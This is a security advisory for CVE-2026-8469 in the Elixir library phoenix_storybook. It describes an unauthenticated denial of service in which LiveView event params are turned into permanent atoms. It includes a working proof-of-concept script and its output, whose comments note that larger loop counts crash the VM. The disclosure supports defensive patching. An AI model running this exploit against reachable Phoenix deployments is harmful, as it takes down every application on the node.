---
id: CVE-2026-8469
aliases:
  - GHSA-833p-95jq-929q
title: >-
  PhoenixStorybook: Unbounded atom creation from LiveView event params
  (atom-table DoS)
summary: >-
  PhoenixStorybook: Unbounded atom creation from LiveView event params
  (atom-table DoS)
severity: high
cwe:
  - CWE-770
vendor: phoenix_storybook
product: phoenix_storybook
ecosystem: erlang
affected:
  - 'phoenix_storybook >= 0.2.0, < 1.1.0'
patched:
  - phoenix_storybook 1.1.0
published: '2026-06-09'
updated: '2026-06-09'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-833p-95jq-929q'
references:
  - url: >-
      https://github.com/phenixdigital/phoenix_storybook/security/advisories/GHSA-833p-95jq-929q
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-8469'
  - url: >-
      https://github.com/phenixdigital/phoenix_storybook/commit/96d524690af0fe197a49f60d18e564a620b9ef81
  - url: 'https://cna.erlef.org/cves/CVE-2026-8469.html'
  - url: 'https://osv.dev/vulnerability/EEF-CVE-2026-8469'
  - url: 'https://github.com/advisories/GHSA-833p-95jq-929q'
tags:
  - ghsa
  - erlang
epss: 0.00537
epssPercentile: 0.44199
ingestedAt: '2026-07-07T15:41:59.595Z'
---

## Overview

### Summary
An attacker who can deliver `psb-assign`, `psb-toggle`, `psb-set-theme`, `upper-tab-navigation`, `lower-tab-navigation`, `playground-change`, or `playground-toggle` LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

### Details
`PhoenixStorybook.Story.Playground` and `PhoenixStorybook.ExtraAssignsHelpers` converts user-supplied event params into atoms without checking whether the atoms already exist:

- `handle_set_variation_assign/3` (`lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59`) iterates the event params map and calls `String.to_atom/1` on every key.
- `handle_toggle_variation_assign/3` (line 73) calls `String.to_atom/1` on the `"attr"` value supplied by the client.
- `to_variation_id/2` (lines 90, 93) calls `String.to_atom/1` on each element of `"variation_id"`.
- `to_value/4` (lines 106, 107) calls `String.to_atom/1` on the raw string value for any attribute declared as `:atom` or `:boolean`.

The existing guards do not help: `check_type!/3` for `:boolean` inspects the atom *after* `String.to_atom/1` has already interned it, so the leak has already happened. The `:atom` branch only checks `is_atom/1`, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use `String.to_existing_atom/1` (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared `story.attributes()` / variation registry and reuse the atom from there.

### PoC
The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver `psb-assign` events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3` (see `lib/phoenix_storybook/live/story/playground_preview_live.ex`), so the script calls that helper directly with attacker-shaped params — a stub `FakeStory` providing an empty `attributes/0` list and a single `:default` variation, plus an `extra_assigns` map keyed by `{:single, :default}`.

Each simulated request is a params map with 5,000 unique keys of the form `"psb_evil_<nonce>_<r>_<i>"`. Because the helper does `for {key, value} <- params, ..., do: {String.to_atom(key), ...}`, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into `:erlang.system_info(:atom_limit)` and crashes the VM.

The script measures `:erlang.system_info(:atom_count)` before and after, prints the delta and the atom limit, and prints `VERIFIED: …` when the delta is at least `requests * attrs_per_request` (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

### Impact
Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of `psb-assign` / `psb-toggle` events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

## Scripts and Logs

```elixir
# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

```

### Logs

```logs
atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.
```

## Affected packages

- `phoenix_storybook >= 0.2.0, < 1.1.0`

## Remediation

Upgrade to a patched release:

- `phoenix_storybook 1.1.0`